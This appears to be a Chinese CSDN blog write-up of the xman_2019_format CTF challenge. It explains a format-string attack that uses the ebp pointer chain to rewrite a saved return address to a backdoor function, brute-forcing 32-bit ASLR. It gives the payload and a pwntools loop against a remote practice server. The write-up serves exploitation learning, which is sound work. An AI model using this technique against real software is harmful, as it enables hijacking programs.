xman_2019_format

文章描述了一个32位程序,启用了NX保护,存在backdoor函数。作者探讨了如何通过栈溢出和地址篡改绕过ASLR,利用ebp链改变EIP,注入payload,最终使得程序跳转到后门函数来获取flag。通过爆破获取正确地址,构造payload实现了对程序的exploit。
摘要由CSDN通过智能技术生成

xman_2019_format

惯例先checksec一下

请添加图片描述

开启了NX保护的32位程序 放进ida里看看

存在backdoor函数

请添加图片描述

其中main函数跳转到vuln函数再不断跳转 就不把所有的都放出来了 直接取有用的部分放上来

vuln1:

请添加图片描述

vuln3

请添加图片描述
由于我们此时的字符串存放在堆上因此我们不能通过%k$n的方法根据偏移实现任意地址写

那么我们就考虑利用ebp链来讲eip中的内容篡改为我们的后门地址

第一步找到偏移偏移为10, 将0xffa44088(ebp链)改为0xffa4403c(栈上返回地址所在的位置)也就是指向eip的地址, 不过由于地址随机化,只需要改最后两位保证最后为C就好, 我这里是0x0C, 当然 1C、2C、3C…都可以 )

第二步找到偏移偏移为18,将804864b改为0x80485AB也就是我们的后门函数的地址 这样就可以成功获取到flag了。

32位的ASLR实际只将地址的倒数第二位变为了随机数因此我们可以利用爆破来获取正确的地址

payload = '%12c' + '%10$hhn|'    #利用%n将0xffa44038中存放的地址0xffa44058中的内容0xffa44088的最后一位改为c即0xffa4400c(该地址中存放了返回地址)
payload += '%34219c' + '%18$hn' #利用%n将0xffa44058中的地址(由于上一次修改已被修改为了0xffa4400c)中的内容0x804864b的最后四位篡改为85ab(即0x80485AB) 这样我们就达成了将返回地址篡改为后门函数的地址的目的

请添加图片描述

exp:

from pwn import *
while 1:                                 
    #io = process("./xman_2019_format")  
    io = remote("node4.buuoj.cn",28254)
    payload = '%12c' + '%10$hhn|' + '%34219c' + '%18$hn'      
    io.sendline(payload)                 
    try:                                  	
       	io.interactive()                 
    except:                              
       	io.close()   

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值